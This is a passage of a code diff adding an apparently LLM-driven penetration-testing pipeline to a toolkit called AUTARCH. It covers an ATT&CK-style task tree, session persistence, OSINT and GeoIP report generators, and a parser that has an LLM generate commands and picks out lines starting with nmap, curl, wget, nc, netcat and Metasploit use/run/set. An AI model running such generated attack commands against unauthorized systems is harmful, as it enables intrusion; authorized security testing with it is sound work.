str) -> PTTNodeType: + """Map a string to PTTNodeType.""" + mapping = { + 'recon': PTTNodeType.RECONNAISSANCE, + 'reconnaissance': PTTNodeType.RECONNAISSANCE, + 'initial_access': PTTNodeType.INITIAL_ACCESS, + 'initial': PTTNodeType.INITIAL_ACCESS, + 'access': PTTNodeType.INITIAL_ACCESS, + 'privesc': PTTNodeType.PRIVILEGE_ESCALATION, + 'privilege_escalation': PTTNodeType.PRIVILEGE_ESCALATION, + 'escalation': PTTNodeType.PRIVILEGE_ESCALATION, + 'lateral': PTTNodeType.LATERAL_MOVEMENT, + 'lateral_movement': PTTNodeType.LATERAL_MOVEMENT, + 'persistence': PTTNodeType.PERSISTENCE, + 'credential': PTTNodeType.CREDENTIAL_ACCESS, + 'credential_access': PTTNodeType.CREDENTIAL_ACCESS, + 'creds': PTTNodeType.CREDENTIAL_ACCESS, + 'exfiltration': PTTNodeType.EXFILTRATION, + 'exfil': PTTNodeType.EXFILTRATION, + } + return mapping.get(type_str.lower(), PTTNodeType.CUSTOM) + + def _apply_updates(self, updates: List[dict]): + """Apply parsed operations to the tree.""" + for update in updates: + op = update['operation'] + + if op == 'add': + # Resolve parent - could be an ID or a label + parent_id = update.get('parent_id') + if parent_id and parent_id not in self.tree.nodes: + # Try to find by label match + node = self.tree.find_node_by_label(parent_id) + parent_id = node.id if node else None + + self.tree.add_node( + label=update['label'], + node_type=update['node_type'], + parent_id=parent_id, + priority=update.get('priority', 3), + ) + + elif op == 'complete': + node_id = update['node_id'] + if node_id not in self.tree.nodes: + node = self.tree.find_node_by_label(node_id) + if node: + node_id = node.id + else: + continue + self.tree.update_node( + node_id, + status=NodeStatus.COMPLETED, + findings=[update.get('findings', '')], + ) + + elif op == 'not_applicable': + node_id = update['node_id'] + if node_id not in self.tree.nodes: + node = self.tree.find_node_by_label(node_id) + if node: + node_id = node.id + else: + continue + self.tree.update_node( + node_id, + status=NodeStatus.NOT_APPLICABLE, + details=update.get('reason', ''), + ) + + +class GenerationModule: + """Converts abstract tasks into concrete commands.""" + + def __init__(self, llm): + self.llm = llm + + def generate(self, task_description: str, target: str, + context: str = "") -> dict: + """Generate executable commands for a task. + + Returns dict with 'commands' (list) and 'fallback' (str). + """ + message = f"Target: {target}\nTask: {task_description}" + if context: + message += f"\n\nContext: {context}" + + self.llm.clear_history() + try: + response = self.llm.chat( + message, + system_prompt=GENERATION_SYSTEM_PROMPT, + temperature=0.2, + max_tokens=512, + ) + except Exception as e: + return { + 'commands': [], + 'fallback': f"Generation error: {e}", + 'raw_response': str(e), + } + + commands = self._parse_commands(response) + fallback = "" + m = re.search(r'FALLBACK:\s*(.+)', response, re.IGNORECASE | re.DOTALL) + if m: + fallback = m.group(1).strip().split('\n')[0] + + return { + 'commands': commands, + 'fallback': fallback, + 'raw_response': response, + } + + def _parse_commands(self, response: str) -> List[dict]: + """Extract commands from LLM response.""" + commands = [] + + # Parse structured TOOL: ... | ARGS: ... | EXPECT: ... format + for m in re.finditer( + r'TOOL:\s*(\w+)\s*\|\s*ARGS:\s*(\{[^}]+\})\s*\|\s*EXPECT:\s*(.+)', + response, re.IGNORECASE + ): + tool_name = m.group(1).strip() + args_str = m.group(2).strip() + expect = m.group(3).strip() + + # Try to parse JSON args + import json + try: + args = json.loads(args_str) + except json.JSONDecodeError: + # Try fixing common LLM JSON issues + fixed = args_str.replace("'", '"') + try: + args = json.loads(fixed) + except json.JSONDecodeError: + args = {'raw': args_str} + + commands.append({ + 'tool': tool_name, + 'args': args, + 'expect': expect, + }) + + # Fallback: try to find shell commands or MSF commands + if not commands: + for line in response.split('\n'): + line = line.strip() + # Detect nmap/shell commands + if re.match(r'^(nmap|nikto|gobuster|curl|wget|nc|netcat)\s', line): + commands.append({ + 'tool': 'shell', + 'args': {'command': line}, + 'expect': 'Check output for results', + }) + # Detect MSF use/run commands + elif re.match(r'^(use |run |set )', line, re.IGNORECASE): + commands.append({ + 'tool': 'msf_console', + 'args': {'command': line}, + 'expect': 'Check output for results', + }) + + return commands + + +# ─── Pipeline Orchestrator ──────────────────────────────────────────── + +class PentestPipeline: + """Orchestrates the three-module pipeline.""" + + def __init__(self, llm, target: str, tree: PentestTree = None): + self.llm = llm + self.target = target + self.tree = tree or PentestTree(target) + self.parser = ParsingModule(llm) + self.reasoner = ReasoningModule(llm, self.tree) + self.generator = GenerationModule(llm) + self.history: List[dict] = [] + + def process_output(self, raw_output: str, + source_type: str = "auto") -> dict: + """Full pipeline: parse -> reason -> generate. + + Returns dict with 'parsed', 'reasoning', 'commands', 'next_task'. + """ + # Step 1: Parse + parsed = self.parser.parse(raw_output, source_type) + + # Step 2: Reason + reasoning = self.reasoner.reason(parsed) + + # Step 3: Generate commands for the next task + generated = {'commands': [], 'fallback': ''} + if reasoning.get('next_task'): + # Build context from recent findings + context = parsed.get('summary', '') + generated = self.generator.generate( + reasoning['next_task'], + self.target, + context=context, + ) + + result = { + 'parsed': parsed, + 'reasoning': reasoning, + 'commands': generated.get('commands', []), + 'fallback': generated.get('fallback', ''), + 'next_task': reasoning.get('next_task', ''), + } + + self.history.append({ + 'timestamp': datetime.now().isoformat(), + 'result': { + 'parsed_summary': parsed.get('summary', ''), + 'findings_count': len(parsed.get('findings', [])), + 'next_task': reasoning.get('next_task', ''), + 'commands_count': len(generated.get('commands', [])), + } + }) + + return result + + def get_initial_plan(self) -> dict: + """Generate initial pentest plan for the target.""" + prompt = INITIAL_PLAN_PROMPT.format(target=self.target) + + self.llm.clear_history() + try: + response = self.llm.chat( + prompt, + system_prompt=REASONING_SYSTEM_PROMPT, + temperature=0.3, + max_tokens=1024, + ) + except Exception as e: + return { + 'tasks': [], + 'first_action': f"Error: {e}", + 'reasoning': str(e), + } + + # Parse TASKS + tasks = [] + for m in re.finditer( + r'(\d+)\.\s*(\w+)\s*\|\s*(\d)\s*\|\s*(.+)', + response + ): + ntype_str = m.group(2).strip() + ntype = self.reasoner._map_node_type(ntype_str) + tasks.append({ + 'node_type': ntype, + 'priority': int(m.group(3)), + 'label': m.group(4).strip(), + }) + + # Add tasks to tree under appropriate branches + for task in tasks: + # Find matching root branch + parent_id = None + for root_id in self.tree.root_nodes: + root = self.tree.get_node(root_id) + if root and root.node_type == task['node_type']: + parent_id = root_id + break + self.tree.add_node( + label=task['label'], + node_type=task['node_type'], + parent_id=parent_id, + priority=task['priority'], + ) + + # Parse first action + first_action = "" + m = re.search(r'FIRST_ACTION:\s*(.+)', response, re.IGNORECASE) + if m: + first_action = m.group(1).strip() + + reasoning = "" + m = re.search(r'REASONING:\s*(.+)', response, re.IGNORECASE) + if m: + reasoning = m.group(1).strip() + + # Generate commands for first action + commands = [] + if first_action: + gen = self.generator.generate(first_action, self.target) + commands = gen.get('commands', []) + + return { + 'tasks': tasks, + 'first_action': first_action, + 'reasoning': reasoning, + 'commands': commands, + } + + def inject_information(self, info: str, source: str = "manual") -> dict: + """Inject external information and get updated recommendations.""" + parsed = { + 'summary': info[:200], + 'findings': [info], + 'status': 'success', + 'raw_source': source, + } + return self.process_output(info, source_type=source) + + def discuss(self, question: str) -> str: + """Ad-hoc question that doesn't affect the tree.""" + tree_summary = self.tree.render_summary() + prompt = DISCUSS_SYSTEM_PROMPT.format( + target=self.target, + tree_summary=tree_summary, + ) + self.llm.clear_history() + try: + return self.llm.chat( + question, + system_prompt=prompt, + temperature=0.5, + max_tokens=1024, + ) + except Exception as e: + return f"Error: {e}" diff --git a/core/pentest_session.py b/core/pentest_session.py new file mode 100644 index 0000000..67ef2fd --- /dev/null +++ b/core/pentest_session.py @@ -0,0 +1,279 @@ +""" +AUTARCH Pentest Session Manager +Save and resume penetration testing sessions with full state persistence. +""" + +import json +import re +from enum import Enum +from dataclasses import dataclass, field +from datetime import datetime +from pathlib import Path +from typing import Optional, List, Dict, Any + + +from .pentest_tree import PentestTree, NodeStatus + + +class PentestSessionState(Enum): + IDLE = "idle" + RUNNING = "running" + PAUSED = "paused" + COMPLETED = "completed" + ERROR = "error" + + +@dataclass +class SessionEvent: + """A single event in the session timeline.""" + timestamp: str + event_type: str + data: dict + + def to_dict(self) -> dict: + return { + 'timestamp': self.timestamp, + 'event_type': self.event_type, + 'data': self.data, + } + + @classmethod + def from_dict(cls, data: dict) -> 'SessionEvent': + return cls( + timestamp=data['timestamp'], + event_type=data['event_type'], + data=data.get('data', {}), + ) + + +class PentestSession: + """Manages a single penetration testing session.""" + + @classmethod + def _get_dir(cls): + from core.paths import get_data_dir + d = get_data_dir() / "pentest_sessions" + d.mkdir(parents=True, exist_ok=True) + return d + + def __init__(self, target: str, session_id: str = None): + self.session_id = session_id or self._generate_id(target) + self.target = target + self.state = PentestSessionState.IDLE + self.tree = PentestTree(target) + self.events: List[SessionEvent] = [] + self.findings: List[Dict[str, Any]] = [] + self.pipeline_history: List[dict] = [] + self.notes: str = "" + self.step_count: int = 0 + now = datetime.now().isoformat() + self.created_at = now + self.updated_at = now + + @staticmethod + def _generate_id(target: str) -> str: + """Generate a session ID from target and timestamp.""" + safe = re.sub(r'[^a-zA-Z0-9]', '_', target)[:30] + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + return f"{safe}_{ts}" + + def start(self): + """Initialize a new session.""" + self.state = PentestSessionState.RUNNING + self.tree.initialize_standard_branches() + self.log_event('state_change', {'from': 'idle', 'to': 'running'}) + self.save() + + def pause(self): + """Pause the session and save state.""" + prev = self.state.value + self.state = PentestSessionState.PAUSED + self.log_event('state_change', {'from': prev, 'to': 'paused'}) + self.save() + + def resume(self): + """Resume a paused session.""" + prev = self.state.value + self.state = PentestSessionState.RUNNING + self.log_event('state_change', {'from': prev, 'to': 'running'}) + self.save() + + def complete(self, summary: str = ""): + """Mark session as completed.""" + prev = self.state.value + self.state = PentestSessionState.COMPLETED + self.log_event('state_change', { + 'from': prev, + 'to': 'completed', + 'summary': summary, + }) + self.save() + + def set_error(self, error_msg: str): + """Mark session as errored.""" + prev = self.state.value + self.state = PentestSessionState.ERROR + self.log_event('state_change', { + 'from': prev, + 'to': 'error', + 'error': error_msg, + }) + self.save() + + def log_event(self, event_type: str, data: dict): + """Log an event to the session timeline.""" + event = SessionEvent( + timestamp=datetime.now().isoformat(), + event_type=event_type, + data=data, + ) + self.events.append(event) + self.updated_at = event.timestamp + + def log_pipeline_result(self, parsed: str, reasoning: str, actions: list): + """Log a pipeline execution cycle.""" + self.pipeline_history.append({ + 'timestamp': datetime.now().isoformat(), + 'step': self.step_count, + 'parsed_input': parsed, + 'reasoning': reasoning, + 'generated_actions': actions, + }) + self.step_count += 1 + + def add_finding(self, title: str, description: str, + severity: str = "medium", node_id: str = None): + """Add a key finding.""" + self.findings.append({ + 'timestamp': datetime.now().isoformat(), + 'severity': severity, + 'title': title, + 'description': description, + 'node_id': node_id, + }) + + def save(self) -> str: + """Save session to JSON file. Returns filepath.""" + self._get_dir().mkdir(parents=True, exist_ok=True) + filepath = self._get_dir() / f"{self.session_id}.json" + + data = { + 'session_id': self.session_id, + 'target': self.target, + 'state': self.state.value, + 'created_at': self.created_at, + 'updated_at': self.updated_at, + 'notes': self.notes, + 'step_count': self.step_count, + 'tree': self.tree.to_dict(), + 'events': [e.to_dict() for e in self.events], + 'findings': self.findings, + 'pipeline_history': self.pipeline_history, + } + + with open(filepath, 'w') as f: + json.dump(data, f, indent=2) + + return str(filepath) + + @classmethod + def load_session(cls, session_id: str) -> 'PentestSession': + """Load a session from file.""" + filepath = cls._get_dir() / f"{session_id}.json" + if not filepath.exists(): + raise FileNotFoundError(f"Session not found: {session_id}") + + with open(filepath, 'r') as f: + data = json.load(f) + + session = cls(target=data['target'], session_id=data['session_id']) + session.state = PentestSessionState(data['state']) + session.created_at = data['created_at'] + session.updated_at = data['updated_at'] + session.notes = data.get('notes', '') + session.step_count = data.get('step_count', 0) + session.tree = PentestTree.from_dict(data['tree']) + session.events = [SessionEvent.from_dict(e) for e in data.get('events', [])] + session.findings = data.get('findings', []) + session.pipeline_history = data.get('pipeline_history', []) + return session + + @classmethod + def list_sessions(cls) -> List[Dict[str, Any]]: + """List all saved sessions with summary info.""" + cls._get_dir().mkdir(parents=True, exist_ok=True) + sessions = [] + for f in sorted(cls._get_dir().glob("*.json"), key=lambda p: p.stat().st_mtime, reverse=True): + try: + with open(f, 'r') as fh: + data = json.load(fh) + stats = {} + if 'tree' in data and 'nodes' in data['tree']: + nodes = data['tree']['nodes'] + stats = { + 'total': len(nodes), + 'todo': sum(1 for n in nodes.values() if n.get('status') == 'todo'), + 'completed': sum(1 for n in nodes.values() if n.get('status') == 'completed'), + } + sessions.append({ + 'session_id': data['session_id'], + 'target': data['target'], + 'state': data['state'], + 'created': data['created_at'], + 'updated': data['updated_at'], + 'steps': data.get('step_count', 0), + 'findings': len(data.get('findings', [])), + 'tree_stats': stats, + }) + except (json.JSONDecodeError, KeyError): + continue + return sessions + + def delete(self) -> bool: + """Delete this session's file.""" + filepath = self._get_dir() / f"{self.session_id}.json" + if filepath.exists(): + filepath.unlink() + return True + return False + + def export_report(self) -> str: + """Generate a text summary report of the session.""" + stats = self.tree.get_stats() + lines = [ + "=" * 60, + "AUTARCH Pentest Session Report", + "=" * 60, + f"Target: {self.target}", + f"Session: {self.session_id}", + f"State: {self.state.value}", + f"Started: {self.created_at}", + f"Updated: {self.updated_at}", + f"Steps: {self.step_count}", + "", + "--- Task Tree ---", + f"Total nodes: {stats['total']}", + f" Completed: {stats.get('completed', 0)}", + f" Todo: {stats.get('todo', 0)}", + f" Active: {stats.get('in_progress', 0)}", + f" N/A: {stats.get('not_applicable', 0)}", + "", + self.tree.render_text(), + "", + ] + + if self.findings: + lines.append("--- Findings ---") + for i, f in enumerate(self.findings, 1): + sev = f.get('severity', 'medium').upper() + lines.append(f" [{i}] [{sev}] {f['title']}") + lines.append(f" {f['description']}") + lines.append("") + + if self.notes: + lines.append("--- Notes ---") + lines.append(self.notes) + lines.append("") + + lines.append("=" * 60) + return "\n".join(lines) diff --git a/core/pentest_tree.py b/core/pentest_tree.py new file mode 100644 index 0000000..19945fe --- /dev/null +++ b/core/pentest_tree.py @@ -0,0 +1,350 @@ +""" +AUTARCH Penetration Testing Tree (PTT) +Hierarchical task tracker for structured penetration testing workflows. +Based on PentestGPT's USENIX paper methodology. +""" + +import uuid +from enum import Enum +from dataclasses import dataclass, field +from datetime import datetime +from typing import Optional, List, Dict, Any + + +class NodeStatus(Enum): + TODO = "todo" + IN_PROGRESS = "in_progress" + COMPLETED = "completed" + NOT_APPLICABLE = "not_applicable" + + +class PTTNodeType(Enum): + RECONNAISSANCE = "reconnaissance" + INITIAL_ACCESS = "initial_access" + PRIVILEGE_ESCALATION = "privilege_escalation" + LATERAL_MOVEMENT = "lateral_movement" + PERSISTENCE = "persistence" + CREDENTIAL_ACCESS = "credential_access" + EXFILTRATION = "exfiltration" + CUSTOM = "custom" + + +@dataclass +class PTTNode: + """A single node in the Penetration Testing Tree.""" + id: str + label: str + node_type: PTTNodeType + status: NodeStatus = NodeStatus.TODO + parent_id: Optional[str] = None + children: List[str] = field(default_factory=list) + details: str = "" + tool_output: Optional[str] = None + findings: List[str] = field(default_factory=list) + priority: int = 3 + created_at: str = "" + updated_at: str = "" + + def __post_init__(self): + now = datetime.now().isoformat() + if not self.created_at: + self.created_at = now + if not self.updated_at: + self.updated_at = now + + def to_dict(self) -> dict: + return { + 'id': self.id, + 'label': self.label, + 'node_type': self.node_type.value, + 'status': self.status.value, + 'parent_id': self.parent_id, + 'children': self.children.copy(), + 'details': self.details, + 'tool_output': self.tool_output, + 'findings': self.findings.copy(), + 'priority': self.priority, + 'created_at': self.created_at, + 'updated_at': self.updated_at, + } + + @classmethod + def from_dict(cls, data: dict) -> 'PTTNode': + return cls( + id=data['id'], + label=data['label'], + node_type=PTTNodeType(data['node_type']), + status=NodeStatus(data['status']), + parent_id=data.get('parent_id'), + children=data.get('children', []), + details=data.get('details', ''), + tool_output=data.get('tool_output'), + findings=data.get('findings', []), + priority=data.get('priority', 3), + created_at=data.get('created_at', ''), + updated_at=data.get('updated_at', ''), + ) + + +# Status display symbols +_STATUS_SYMBOLS = { + NodeStatus.TODO: '[ ]', + NodeStatus.IN_PROGRESS: '[~]', + NodeStatus.COMPLETED: '[x]', + NodeStatus.NOT_APPLICABLE: '[-]', +} + + +class PentestTree: + """Penetration Testing Tree - hierarchical task tracker.""" + + def __init__(self, target: str): + self.target = target + self.nodes: Dict[str, PTTNode] = {} + self.root_nodes: List[str] = [] + now = datetime.now().isoformat() + self.created_at = now + self.updated_at = now + + def add_node( + self, + label: str, + node_type: PTTNodeType, + parent_id: Optional[str] = None, + details: str = "", + priority: int = 3, + status: NodeStatus = NodeStatus.TODO, + ) -> str: + """Add a node to the tree. Returns the new node's ID.""" + node_id = str(uuid.uuid4())[:8] + node = PTTNode( + id=node_id, + label=label, + node_type=node_type, + status=status, + parent_id=parent_id, + details=details, + priority=priority, + ) + + self.nodes[node_id] = node + + if parent_id and parent_id in self.nodes: + self.nodes[parent_id].children.append(node_id) + elif parent_id is None: + self.root_nodes.append(node_id) + + self.updated_at = datetime.now().isoformat() + return node_id + + def update_node( + self, + node_id: str, + status: Optional[NodeStatus] = None, + details: Optional[str] = None, + tool_output: Optional[str] = None, + findings: Optional[List[str]] = None, + priority: Optional[int] = None, + label: Optional[str] = None, + ) -> bool: + """Update a node's properties. Returns True if found and updated.""" + node = self.nodes.get(node_id) + if not node: + return False + + if status is not None: + node.status = status + if details is not None: + node.details = details + if tool_output is not None: + node.tool_output = tool_output + if findings is not None: + node.findings.extend(findings) + if priority is not None: + node.priority = priority + if label is not None: + node.label = label + + node.updated_at = datetime.now().isoformat() + self.updated_at = node.updated_at + return True + + def delete_node(self, node_id: str) -> bool: + """Delete a node and all its children recursively.""" + node = self.nodes.get(node_id) + if not node: + return False + + # Recursively delete children + for child_id in node.children.copy(): + self.delete_node(child_id) + + # Remove from parent's children list + if node.parent_id and node.parent_id in self.nodes: + parent = self.nodes[node.parent_id] + if node_id in parent.children: + parent.children.remove(node_id) + + # Remove from root nodes if applicable + if node_id in self.root_nodes: + self.root_nodes.remove(node_id) + + del self.nodes[node_id] + self.updated_at = datetime.now().isoformat() + return True + + def get_node(self, node_id: str) -> Optional[PTTNode]: + return self.nodes.get(node_id) + + def get_next_todo(self) -> Optional[PTTNode]: + """Get the highest priority TODO node.""" + todos = [n for n in self.nodes.values() if n.status == NodeStatus.TODO] + if not todos: + return None + return min(todos, key=lambda n: n.priority) + + def get_all_by_status(self, status: NodeStatus) -> List[PTTNode]: + return [n for n in self.nodes.values() if n.status == status] + + def get_subtree(self, node_id: str) -> List[PTTNode]: + """Get all nodes in a subtree (including the root).""" + node = self.nodes.get(node_id) + if not node: + return [] + result = [node] + for child_id in node.children: + result.extend(self.get_subtree(child_id)) + return result + + def find_node_by_label(self, label: str) -> Optional[PTTNode]: + """Find a node by label (case-insensitive partial match).""" + label_lower = label.lower() + for node in self.nodes.values(): + if label_lower in node.label.lower(): + return node + return None + + def get_stats(self) -> Dict[str, int]: + """Get tree statistics.""" + stats = {'total': len(self.nodes)} + for status in NodeStatus: + stats[status.value] = len(self.get_all_by_status(status)) + return stats + + def render_text(self) -> str: + """Render full tree as indented text for terminal display.""" + if not self.root_nodes: + return " (empty tree)" + + lines = [f"Target: {self.target}"] + lines.append("") + + for root_id in self.root_nodes: + self._render_node(root_id, lines, indent=0) + + return "\n".join(lines) + + def _render_node(self, node_id: str, lines: List[str], indent: int): + node = self.nodes.get(node_id) + if not node: + return + + prefix = " " * indent + symbol = _STATUS_SYMBOLS.get(node.status, '[ ]') + priority_str = f" P{node.priority}" if node.priority != 3 else "" + lines.append(f"{prefix}{symbol} {node.label}{priority_str}") + + if node.findings: + for finding in node.findings[:3]: + lines.append(f"{prefix} -> {finding}") + + for child_id in node.children: + self._render_node(child_id, lines, indent + 1) + + def render_summary(self) -> str: + """Render compact summary for LLM context injection. + Designed to fit within tight token budgets (4096 ctx). + Only shows TODO and IN_PROGRESS nodes with minimal detail. + """ + stats = self.get_stats() + lines = [ + f"Target: {self.target}", + f"Nodes: {stats['total']} total, {stats['todo']} todo, " + f"{stats['completed']} done, {stats['in_progress']} active", + ] + + # Show active and todo nodes only + active = self.get_all_by_status(NodeStatus.IN_PROGRESS) + todos = sorted( + self.get_all_by_status(NodeStatus.TODO), + key=lambda n: n.priority + ) + + if active: + lines.append("Active:") + for n in active: + lines.append(f" [{n.id}] {n.label}") + + if todos: + lines.append("Todo:") + for n in todos[:5]: + lines.append(f" [{n.id}] P{n.priority} {n.label}") + if len(todos) > 5: + lines.append(f" ... and {len(todos) - 5} more") + + # Show recent findings (last 5) + all_findings = [] + for node in self.nodes.values(): + if node.findings: + for f in node.findings: + all_findings.append(f) + if all_findings: + lines.append("Key findings:") + for f in all_findings[-5:]: + lines.append(f" - {f}") + + return "\n".join(lines) + + def initialize_standard_branches(self): + """Create standard MITRE ATT&CK-aligned top-level branches.""" + branches = [ + ("Reconnaissance", PTTNodeType.RECONNAISSANCE, 1, + "Information gathering and target enumeration"), + ("Initial Access", PTTNodeType.INITIAL_ACCESS, 2, + "Gaining initial foothold on target"), + ("Privilege Escalation", PTTNodeType.PRIVILEGE_ESCALATION, 3, + "Escalating from initial access to higher privileges"), + ("Lateral Movement", PTTNodeType.LATERAL_MOVEMENT, 4, + "Moving to other systems in the network"), + ("Credential Access", PTTNodeType.CREDENTIAL_ACCESS, 3, + "Obtaining credentials and secrets"), + ("Persistence", PTTNodeType.PERSISTENCE, 5, + "Maintaining access to compromised systems"), + ] + + for label, ntype, priority, details in branches: + self.add_node( + label=label, + node_type=ntype, + priority=priority, + details=details, + ) + + def to_dict(self) -> dict: + return { + 'target': self.target, + 'created_at': self.created_at, + 'updated_at': self.updated_at, + 'root_nodes': self.root_nodes.copy(), + 'nodes': {nid: n.to_dict() for nid, n in self.nodes.items()}, + } + + @classmethod + def from_dict(cls, data: dict) -> 'PentestTree': + tree = cls(target=data['target']) + tree.created_at = data.get('created_at', '') + tree.updated_at = data.get('updated_at', '') + tree.root_nodes = data.get('root_nodes', []) + for nid, ndata in data.get('nodes', {}).items(): + tree.nodes[nid] = PTTNode.from_dict(ndata) + return tree diff --git a/core/report_generator.py b/core/report_generator.py new file mode 100644 index 0000000..1debe86 --- /dev/null +++ b/core/report_generator.py @@ -0,0 +1,1137 @@ +""" +AUTARCH Report Generator +Generate HTML reports for scan results +""" + +import json +import os +from datetime import datetime +from pathlib import Path +from typing import List, Dict, Optional + + +class ReportGenerator: + """Generate HTML reports for OSINT scan results.""" + + def __init__(self, output_dir: str = None): + """Initialize report generator. + + Args: + output_dir: Directory to save reports. Defaults to results/reports. + """ + if output_dir: + self.output_dir = Path(output_dir) + else: + from core.paths import get_reports_dir + self.output_dir = get_reports_dir() + + self.output_dir.mkdir(parents=True, exist_ok=True) + + def _get_html_template(self) -> str: + """Get base HTML template.""" + return ''' + + + + + {title} + + + +
    + {content} +
    + +''' + + def generate_username_report( + self, + username: str, + results: List[Dict], + total_checked: int, + scan_time: float = 0 + ) -> str: + """Generate HTML report for username scan. + + Args: + username: The username that was scanned. + results: List of found profile dictionaries. + total_checked: Total sites checked. + scan_time: Total scan time in seconds. + + Returns: + Path to generated report file. + """ + # Categorize results + high_conf = [r for r in results if r.get('confidence', 0) >= 80 and r.get('status') != 'restricted'] + med_conf = [r for r in results if 60 <= r.get('confidence', 0) < 80 and r.get('status') != 'restricted'] + low_conf = [r for r in results if r.get('confidence', 0) < 60 and r.get('status') != 'restricted'] + restricted = [r for r in results if r.get('status') == 'restricted'] + + # Group by category + by_category = {} + for r in results: + if r.get('status') != 'restricted' and r.get('confidence', 0) >= 60: + cat = r.get('category', 'other') + if cat not in by_category: + by_category[cat] = [] + by_category[cat].append(r) + + # Build stats section + stats_html = f''' +
    +
    +
    {total_checked}
    +
    Sites Checked
    +
    +
    +
    {len(results)}
    +
    Total Found
    +
    +
    +
    {len(high_conf)}
    +
    High Confidence
    +
    +
    +
    {len(med_conf)}
    +
    Medium Confidence
    +
    +
    +
    {len(restricted)}
    +
    Restricted
    +
    +
    + ''' + + # Build results table + def get_confidence_class(conf): + if conf >= 80: + return 'high' + elif conf >= 60: + return 'medium' + return 'low' + + confirmed_rows = '' + for r in sorted(high_conf + med_conf, key=lambda x: -x.get('confidence', 0)): + conf = r.get('confidence', 0) + conf_class = get_confidence_class(conf) + tracker_badge = ' [tracker]' if r.get('is_tracker') else '' + confirmed_rows += f''' + + {r.get('name', 'Unknown')}{tracker_badge} + {r.get('url', '')} + {r.get('category', 'other')} + {conf}% + + ''' + + # Build category breakdown + category_rows = '' + for cat, items in sorted(by_category.items(), key=lambda x: -len(x[1])): + category_rows += f''' + + {cat} + {len(items)} + + ''' + + # Restricted section + restricted_rows = '' + for r in restricted[:30]: + restricted_rows += f''' + + {r.get('name', 'Unknown')} + {r.get('url', '')} + {r.get('category', 'other')} + Restricted + + ''' + + # Build full content + content = f''' +
    +

    AUTARCH Username Report

    +
    + Target: {username} + Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} + Scan Time: {scan_time:.1f}s +
    +
    + + {stats_html} + +
    +

    Confirmed Profiles ({len(high_conf) + len(med_conf)})

    + + + + + + + + + + + {confirmed_rows if confirmed_rows else ''} + +
    SiteURLCategoryConfidence
    No confirmed profiles found
    +
    + +
    +

    By Category

    + + + + + + + + + {category_rows if category_rows else ''} + +
    CategoryCount
    No categories
    +
    + +
    +

    Restricted Access ({len(restricted)})

    +

    + These sites returned 403/401 errors - the profile may exist but requires authentication. +

    + + + + + + + + + + + {restricted_rows if restricted_rows else ''} + +
    SiteURLCategoryStatus
    None
    +
    + + + ''' + + # Generate HTML + html = self._get_html_template().format( + title=f"AUTARCH Report - {username}", + content=content + ) + + # Save report + filename = f"{username}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html" + filepath = self.output_dir / filename + + with open(filepath, 'w', encoding='utf-8') as f: + f.write(html) + + return str(filepath) + + def generate_geoip_report(self, results: List[Dict]) -> str: + """Generate HTML report for GEO IP lookups. + + Args: + results: List of GEO IP lookup result dictionaries. + + Returns: + Path to generated report file. + """ + rows = '' + for r in results: + if 'error' in r: + rows += f''' + + {r.get('target', 'Unknown')} + Error: {r['error']} + + ''' + else: + map_link = f'View Map' if r.get('map_osm') else '-' + rows += f''' + + {r.get('target', '-')} + {r.get('ipv4', '-')} + {r.get('country_code', '-')} + {r.get('region', '-')} + {r.get('city', '-')} + {r.get('isp', '-')} + {map_link} + + ''' + + content = f''' +
    +

    AUTARCH GEO IP Report

    +
    + Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} + Total Lookups: {len(results)} +
    +
    + +
    +

    GEO IP Results

    + + + + + + + + + + + + + + {rows} + +
    TargetIPv4CountryRegionCityISPMap
    +
    + + + ''' + + html = self._get_html_template().format( + title="AUTARCH GEO IP Report", + content=content + ) + + filename = f"geoip_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html" + filepath = self.output_dir / filename + + with open(filepath, 'w', encoding='utf-8') as f: + f.write(html) + + return str(filepath) + + + def generate_security_audit_report( + self, + system_info: Dict, + issues: List[Dict], + score: int + ) -> str: + """Generate HTML report for security audit. + + Args: + system_info: System information dictionary. + issues: List of security issues found. + score: Security score 0-100. + + Returns: + Path to generated report file. + """ + # Score color + if score >= 80: + score_color = "var(--accent-green)" + elif score >= 60: + score_color = "var(--accent-yellow)" + else: + score_color = "var(--accent-red)" + + # System info rows + sys_rows = '' + for key, val in system_info.items(): + sys_rows += f'{key}{val}\n' + + # Score gauge + score_html = f''' +
    +
    + {score}/100 +
    +
    + ''' + + # Issues by severity + severity_counts = {'CRITICAL': 0, 'HIGH': 0, 'MEDIUM': 0, 'LOW': 0} + for issue in issues: + sev = issue.get('severity', 'LOW').upper() + if sev in severity_counts: + severity_counts[sev] += 1 + + # Issues table + issue_rows = '' + for issue in sorted(issues, key=lambda x: ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW'].index(x.get('severity', 'LOW').upper())): + sev = issue.get('severity', 'LOW').upper() + sev_class = f'severity-{sev.lower()}' + issue_rows += f''' + + {sev} + {issue.get('title', '')} + {issue.get('description', '')} + {issue.get('recommendation', '')} + + ''' + + content = f''' +
    +

    Security Audit Report

    +
    + Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} + Issues Found: {len(issues)} +
    +
    + +
    +
    +
    {score}
    +
    Security Score
    +
    +
    +
    {severity_counts['CRITICAL']}
    +
    Critical
    +
    +
    +
    {severity_counts['HIGH']}
    +
    High
    +
    +
    +
    {severity_counts['MEDIUM']}
    +
    Medium
    +
    +
    +
    {severity_counts['LOW']}
    +
    Low
    +
    +
    + + {score_html} + +
    +

    System Information

    + + + {sys_rows} +
    PropertyValue
    +
    + +
    +

    Security Issues ({len(issues)})

    + + + + + + + + + + + {issue_rows if issue_rows else ''} + +
    SeverityIssueDescriptionRecommendation
    No issues found
    +
